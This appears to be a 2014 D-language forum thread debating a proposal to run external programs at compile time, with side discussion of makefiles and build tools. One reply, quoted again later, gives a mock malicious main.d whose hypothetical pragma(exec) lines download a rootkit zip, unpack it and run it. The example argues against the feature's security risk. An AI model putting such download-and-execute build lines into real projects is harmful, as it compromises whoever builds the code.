www.digitalmars.com         C & C++   DMDScript  

digitalmars.D - Compile time executable calling?

reply "Tofu Ninja" <emmons0 purdue.edu> writes:
I made a post about it a few months back and it seemed like there 
were some people who would want this, but nothing ever came of it.

The idea is basically being able to call and capture the output 
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu
Jan 08 2014
next sibling parent reply "Orvid King" <blah38621 gmail.com> writes:
On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:
 I made a post about it a few months back and it seemed like 
 there were some people who would want this, but nothing ever 
 came of it.

 The idea is basically being able to call and capture the output 
 of a program at compile time, similar to a string import.

 Has anyone thought about this since?

 I know I for one would still love this.

 -Tofu

My argument against this is simple, and can be summed up in one sentence: "Why yes, you tried to build my code, so I deleted all of your source code."
Jan 08 2014
parent Jacob Carlborg <doob me.com> writes:
On 2014-01-09 00:16, H. S. Teoh wrote:

 <offtopic rant>
 A *shell script* could do better than make, by actually making
 sure that everything is recompiled and up-to-date

I use a shell script for most of my projects. It's usually a one line shell script, just to not have to retype all flags every time.
 The fact that `make clean` exists at all, is a testament to
 just how broken the whole thing is (and the saddest thing is that `make
 clean` has come to be accepted as a part of life, when it shouldn't even
 exist in the first place, had build systems been designed correctly to
 begin with).

What if you change the makefile, say adding a flag? That flag might require the whole project to be rebuilt. How should that be handled automatically? Always to a full rebuild if the makefile has been changed? -- /Jacob Carlborg
Jan 09 2014
prev sibling next sibling parent "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:
 On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:
 I made a post about it a few months back and it seemed like 
 there were some people who would want this, but nothing ever 
 came of it.

 The idea is basically being able to call and capture the 
 output of a program at compile time, similar to a string 
 import.

 Has anyone thought about this since?

 I know I for one would still love this.

 -Tofu

My argument against this is simple, and can be summed up in one sentence: "Why yes, you tried to build my code, so I deleted all of your source code."

I think something like this would have a compile flag to enable it for security. I don't think I would be too worried about it.
Jan 08 2014
prev sibling next sibling parent "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 06:56:26PM +0000, Tofu Ninja wrote:
 On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:
On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja wrote:
I made a post about it a few months back and it seemed like
there were some people who would want this, but nothing ever
came of it.

The idea is basically being able to call and capture the output
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu

My argument against this is simple, and can be summed up in one sentence: "Why yes, you tried to build my code, so I deleted all of your source code."

I think something like this would have a compile flag to enable it for security. I don't think I would be too worried about it.

I'm already trembling in my shoes at the sound of it. Hands up, those among you who download the source code for some project online and manually type 'dmd src/mod1.d src/mod2.d src/mod3.d src/main.d' (rather than, say, 'make' or whatever it is you kids use nowadays). Nobody? Hmm... I could've sworn such people still existed... OK, take #2. Hands up, those of you who read the makefile / build script of some online project to see what it does, before you run it. Still nobody? Really? So you're saying that you'd just download some source code from some random website (or fork some project on github, same difference), and then you'll just blindly run the build script without looking to see what it does? Like this?: # wget http://s00per.hax0r.net/projects/hackme.zip # unzip hackme.zip # cd hackme # ./configure ... [snip whole bunch of garbage] # make install ... dmd -allow-exec main.d [oops, what just happened?] ... # cat main.d module main; ... pragma(exec, "wget http://blackhat.com/rootkit.zip"); pragma(exec, "unzip rootkit.zip"); pragma(exec, "./rootkit"); ... # [Uh oh...] T -- The two rules of success: 1. Don't tell everything you know. -- YHL
Jan 08 2014
prev sibling next sibling parent "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 20:34:20 UTC, H. S. Teoh wrote:
 On Wed, Jan 08, 2014 at 06:56:26PM +0000, Tofu Ninja wrote:
 On Wednesday, 8 January 2014 at 18:50:04 UTC, Orvid King wrote:
On Wednesday, 8 January 2014 at 18:46:37 UTC, Tofu Ninja 
wrote:
I made a post about it a few months back and it seemed like
there were some people who would want this, but nothing ever
came of it.

The idea is basically being able to call and capture the 
output
of a program at compile time, similar to a string import.

Has anyone thought about this since?

I know I for one would still love this.

-Tofu

My argument against this is simple, and can be summed up in one sentence: "Why yes, you tried to build my code, so I deleted all of your source code."

I think something like this would have a compile flag to enable it for security. I don't think I would be too worried about it.

I'm already trembling in my shoes at the sound of it. Hands up, those among you who download the source code for some project online and manually type 'dmd src/mod1.d src/mod2.d src/mod3.d src/main.d' (rather than, say, 'make' or whatever it is you kids use nowadays). Nobody? Hmm... I could've sworn such people still existed... OK, take #2. Hands up, those of you who read the makefile / build script of some online project to see what it does, before you run it. Still nobody? Really? So you're saying that you'd just download some source code from some random website (or fork some project on github, same difference), and then you'll just blindly run the build script without looking to see what it does? Like this?: # wget http://s00per.hax0r.net/projects/hackme.zip # unzip hackme.zip # cd hackme # ./configure ... [snip whole bunch of garbage] # make install ... dmd -allow-exec main.d [oops, what just happened?] ... # cat main.d module main; ... pragma(exec, "wget http://blackhat.com/rootkit.zip"); pragma(exec, "unzip rootkit.zip"); pragma(exec, "./rootkit"); ... # [Uh oh...] T

Why would that have needed to be in the D file? Couldn't the makefile have done it itself? I dont see the point in this... Like really... its not a problem that should stop it, you are already compiling and running code that can do arbitrary things so why should what it can do at compile time be more scary that what it can do at runtime... I think I saw a reddit post the other day with a quote that I think applies in this situation... "Thinking about security is like thinking about where to ride your motorcycle: the safe places are no fun, and the fun places are not safe. I shall ride wherever my spirit takes me" On the other hand I think this could be extremely useful for certain cases, a way to do things that the compiler can't and where ctfe is too slow or simply can't do what you are trying to do.
Jan 08 2014
prev sibling next sibling parent "Brian Schott" <briancschott gmail.com> writes:
Just make your makefile run the script, pipe its output to a 
file, and do a string import of the generated file.
Jan 08 2014
prev sibling next sibling parent "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott wrote:
 Just make your makefile run the script, pipe its output to a 
 file, and do a string import of the generated file.

The kind of stuff I want to use it for would make that tactic tedious and error prone. I would use it like how ctfe is used now. Having multiple points in the source(maybe hundreds) that would call out to a external program at compile time but pass out different args. Relying on a makefile to do something like this would require me to keep the makefile and the source code constantly in sync and would become a problem before long.
Jan 08 2014
prev sibling next sibling parent "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 10:29:03PM +0000, Tofu Ninja wrote:
 On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott wrote:
Just make your makefile run the script, pipe its output to a file,
and do a string import of the generated file.

The kind of stuff I want to use it for would make that tactic tedious and error prone. I would use it like how ctfe is used now. Having multiple points in the source(maybe hundreds) that would call out to a external program at compile time but pass out different args. Relying on a makefile to do something like this would require me to keep the makefile and the source code constantly in sync and would become a problem before long.

Huh? Your last sentence made no sense to me. Doesn't the makefile have to be kept in sync anyway? In my experience, when makefile and source go out of sync, that's when you start getting untraceable heisenbugs that defy all analysis, and disappear after you do a `make clean; make`. The most usual cause of this is the makefile picking up stray, stale object files that should no longer exist 'cos they don't reflect the source anymore. <offtopic rant> This is one of the many things I really hate about makefiles. I'd recommend *anything* over makefiles. Like SCons. Or tup. Even Ant, that insists on the human-unreadable and human-unwriteable XML as an input format. A *shell script* could do better than make, by actually making sure that everything is recompiled and up-to-date, without magic global variables that alter behaviour in strange ways (*cough*VPATH*cough*), or unreliable timestamp-dependence that breaks when you cross NFS boundaries, or sometimes just breaks for no discernible reason whatsoever. The fact that `make clean` exists at all, is a testament to just how broken the whole thing is (and the saddest thing is that `make clean` has come to be accepted as a part of life, when it shouldn't even exist in the first place, had build systems been designed correctly to begin with). </offtopic rant> T -- In order to understand recursion you must first understand recursion.
Jan 08 2014
prev sibling next sibling parent "Tofu Ninja" <emmons0 purdue.edu> writes:
On Wednesday, 8 January 2014 at 23:17:48 UTC, H. S. Teoh wrote:
 On Wed, Jan 08, 2014 at 10:29:03PM +0000, Tofu Ninja wrote:
 On Wednesday, 8 January 2014 at 22:01:56 UTC, Brian Schott 
 wrote:
Just make your makefile run the script, pipe its output to a 
file,
and do a string import of the generated file.

The kind of stuff I want to use it for would make that tactic tedious and error prone. I would use it like how ctfe is used now. Having multiple points in the source(maybe hundreds) that would call out to a external program at compile time but pass out different args. Relying on a makefile to do something like this would require me to keep the makefile and the source code constantly in sync and would become a problem before long.

Huh? Your last sentence made no sense to me. Doesn't the makefile have to be kept in sync anyway? In my experience, when makefile and source go out of sync, that's when you start getting untraceable heisenbugs that defy all analysis, and disappear after you do a `make clean; make`. The most usual cause of this is the makefile picking up stray, stale object files that should no longer exist 'cos they don't reflect the source anymore. <offtopic rant> This is one of the many things I really hate about makefiles. I'd recommend *anything* over makefiles. Like SCons. Or tup. Even Ant, that insists on the human-unreadable and human-unwriteable XML as an input format. A *shell script* could do better than make, by actually making sure that everything is recompiled and up-to-date, without magic global variables that alter behaviour in strange ways (*cough*VPATH*cough*), or unreliable timestamp-dependence that breaks when you cross NFS boundaries, or sometimes just breaks for no discernible reason whatsoever. The fact that `make clean` exists at all, is a testament to just how broken the whole thing is (and the saddest thing is that `make clean` has come to be accepted as a part of life, when it shouldn't even exist in the first place, had build systems been designed correctly to begin with). </offtopic rant> T

I didn't just mean keeping it in sync with the source files, but in sync with every instance of the external exe call that might happen, and since I would want to use it like how ctfe is used that basically means any time I happen to want to "call" this outside program(which might be a lot of times per source file) I have to update the makefile. And beyond that the args being passed per call might be different each time... alot to keep track of.. beyond the normal stuff that has to be kept track of in a makefile.... But yea make sucks... I dont use it but it seems to be a theme in this thread so I just used that as an example...
Jan 08 2014
prev sibling parent "H. S. Teoh" <hsteoh quickfur.ath.cx> writes:
On Wed, Jan 08, 2014 at 11:55:38PM +0000, Tofu Ninja wrote:
[...]
 I didn't just mean keeping it in sync with the source files, but in
 sync with every instance of the external exe call that might happen,
 and since I would want to use it like how ctfe is used that
 basically means any time I happen to want to "call" this outside
 program(which might be a lot of times per source file) I have to
 update the makefile. And beyond that the args being passed per call
 might be different each time... alot to keep track of.. beyond the
 normal stuff that has to be kept track of in a makefile....

Sounds like you need 'tup', which scaffolds the compile process at the OS level so that it can automatically detect *actual* dependencies, without needing hacks like manually specifying dependencies (which is unmaintainable as you describe, and often outright wrong) or error-prone custom source file scanners (which often have ugly corner cases where they don't parse the target language properly). T -- Не дорог подарок, дорога любовь.
Jan 08 2014